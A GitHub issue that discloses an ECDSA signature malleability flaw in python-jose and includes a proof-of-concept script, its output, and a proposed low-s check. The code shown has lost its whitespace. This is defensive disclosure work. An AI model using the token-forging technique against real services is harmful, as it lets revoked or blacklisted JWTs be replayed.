Skip to content

Security vulnerability: ECDSA Signature Malleability #403

Description

@everping

Summary

python-jose does not enforce low-s normalization on ECDSA signatures. For any valid signature (r, s), (r, n-s) is also accepted. This produces two distinct JWT strings with identical claims, bypassing token blacklists and deduplication.

  • Library: python-jose 3.5.0 (latest)
  • Algorithms: ES256, ES384, ES512

Root Cause

Verification path: jws.verify() -> ECKey.verify() -> cryptography library -> ec.ECDSA(hashes.SHA256()) -> OpenSSL.

No step checks s <= n/2. OpenSSL accepts both s and n-s as mathematically valid.

Impact

An attacker who obtains a valid JWT can compute a second valid JWT (different bytes, same claims) without knowing the private key. If the application revokes tokens by storing the JWT string in a blacklist, the malleable variant bypasses it.

PoC

# poc.pyimportsys, ioifsys.platform=="win32":
sys.stdout=io.TextIOWrapper(sys.stdout.buffer, encoding="utf-8", errors="replace")
fromjoseimportjwt, __version__fromcryptography.hazmat.primitives.asymmetricimportecfromcryptography.hazmat.primitivesimportserializationimportbase64N=0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551defb64url_dec(s):
returnbase64.urlsafe_b64decode(s+"="* (4-len(s) %4))
defb64url_enc(b):
returnbase64.urlsafe_b64encode(b).rstrip(b"=").decode()
# Generate ES256 keyprivate_key=ec.generate_private_key(ec.SECP256R1())
pub_pem=private_key.public_key().public_bytes(
serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)
priv_pem=private_key.private_bytes(
serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
# Signtoken=jwt.encode({"sub": "user@example.com", "role": "admin"}, priv_pem, algorithm="ES256")
# Extract r, sparts=token.split(".")
sig=b64url_dec(parts[2])
r, s=int.from_bytes(sig[:32], "big"), int.from_bytes(sig[32:64], "big")
s_prime=N-s# Build malleable tokennew_sig=r.to_bytes(32, "big") +s_prime.to_bytes(32, "big")
malleable=parts[0] +"."+parts[1] +"."+b64url_enc(new_sig)
print(f"ECDSA Malleability - python-jose {__version__}")
print("="*40)
print(f"Original s: {'low-s'ifs<=N//2else'HIGH-s'}")
print(f"Flipped s': {'low-s'ifs_prime<=N//2else'HIGH-s'}")
print(f"Tokens identical: {token==malleable}")
print()
# Verify originaltry:
jwt.decode(token, pub_pem, algorithms=["ES256"])
print("[1] Original: VALID")
exceptExceptionase:
print(f"[1] Original: REJECTED - {e}")
# Verify malleabletry:
jwt.decode(malleable, pub_pem, algorithms=["ES256"])
print("[2] Malleable: VALID")
exceptExceptionase:
print(f"[2] Malleable: REJECTED - {e}")
# Blacklist bypassblacklist= {token}
print()
print("[3] Blacklist bypass:")
print(f" Original in blacklist: {tokeninblacklist}")
print(f" Malleable in blacklist: {malleableinblacklist}")
ifmalleablenotinblacklist:
print(" --> BLACKLIST BYPASSED")

Reproduction

pip install python-jose[cryptography]
python poc.py

Output:

[1] Original: VALID
[2] Malleable: VALID
[3] Blacklist bypass:
Original in blacklist: True
Malleable in blacklist: False
--> BLACKLIST BYPASSED

Recommended Fix

After ECDSA verification, reject if s > n // 2:

ifs>n//2:
raiseJWSError('ECDSA signature s value not normalized')

Precedent: Bitcoin enforced this in 2014 (BIP-62). Go's crypto/ecdsa enforced it in 2024.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions